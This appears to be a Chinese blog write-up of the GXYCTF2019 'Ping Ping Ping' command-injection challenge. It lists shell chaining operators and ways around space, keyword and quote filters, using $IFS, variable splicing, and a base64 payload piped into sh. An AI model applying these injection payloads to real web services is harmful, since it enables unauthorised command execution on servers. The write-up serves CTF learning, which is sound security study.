[GXYCTF2019]Ping Ping Ping(命令执行)

命令执行绕过

常见写法

127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。

127.0.0.1&+code &表示将任务置于后台执行

127.0.0.1||+code 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。

127.0.0.1|+code | 表示管道,上一条命令的输出,作为下一条命令的参数 1

27.0.0.1;+code 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

1、 | 通配符

直接输出下一条语句

?ip=127.0.0.1|ls

需要找到flag.php,但是index.php应该是过滤规则

?ip=127.0.0.1|cat flag.php ,cat显示

空格绕过方式

$IFS ${IFS} $IFS$1 //可以是任意数字 < <> {cat,flag.php} %20 %09 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat$IFS$1flag.txt cat<flag.txt %09替换 cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

?ip=127.0.0.1|cat$IFS$21index.php

查看规则

符号,空格,bash,以及flag内容都被ban

方法1 变量拼接

让a=ag,b=fl拼接出flag

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

?ip=127.0.0.1;b=ag;cat$IFS$21fl$b.php

变量拼接也是绕过正则过滤的一个有效的方法。查看F12获取flag

方法2 base64编码

过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

管道符后面为直接的语句

单双引号绕过

虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如

ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。

反斜线绕过

大同小异

ca\t fl\ag

参考文章

GXYCTF 2019 | 题目解析之Ping Ping Ping - FreeBuf网络安全行业门户

[GXYCTF2019]Ping Ping Ping_没事就逛博客的博客-CSDN博客

[GXYCTF 2019]Ping Ping Ping_XiLitter的博客-CSDN博客

命令执行漏洞利用及绕过方式总结 - ghtwf01 - ghtwf01

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值